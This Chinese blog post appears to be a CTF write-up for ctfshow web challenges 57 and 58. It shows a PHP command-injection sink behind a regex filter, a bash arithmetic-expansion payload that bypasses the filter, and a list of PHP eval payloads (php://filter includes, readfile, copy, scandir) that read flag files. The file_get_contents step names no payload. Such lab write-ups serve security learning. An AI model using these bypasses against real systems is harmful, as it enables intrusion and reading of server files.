ctfshow web入门57,59

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

先说两个东西,在 Linux 下:

$(())=0
$((~ $(()) ))=-1

 这里说了 flag 在 36.php,那么我们只需要构造 36,但是数字被过滤了。

由于前面说的只有 -1,因此我们对 36 进行取反,得到 -37,对 -37 再次取反即可得到 36。

根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37

 

-37

$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

 

对-37取反得到36

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

echo ${_}:返回上一次命令的执行结果,若上一次没有命令输出,则为0

echo ${#}:0

 

web58

system()被禁用

c=show_source('flag.php');
c=highlight_file('flag.php');

也可以直接将 php 代码传给 eval 函数让其执行,构造 payload:

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "php://filter/convert.base64-encode/resource=flag.php"

1)利用 copy 函数,执行后直接访问 flag.txt

 

c=copy("flag.php","flag.txt");

2)rename 函数

通过将 flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多

c=rename("flag.php","1.txt");

3)file_get_contents 函数

使用 file_get_contents 进行读取,再配合 echo 输出,payload:

4)readfile 函数 payload:

c=readfile("flag.php");

5) file 函数 payload:

c=print_r(file("flag.php"));
# 先扫描一下文件:
c=print_r(scandir(dirname('FILE')));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

 

 

 

posted @ 2025-01-13 18:45  柒夜sec  阅读(26)  评论(0)    收藏  举报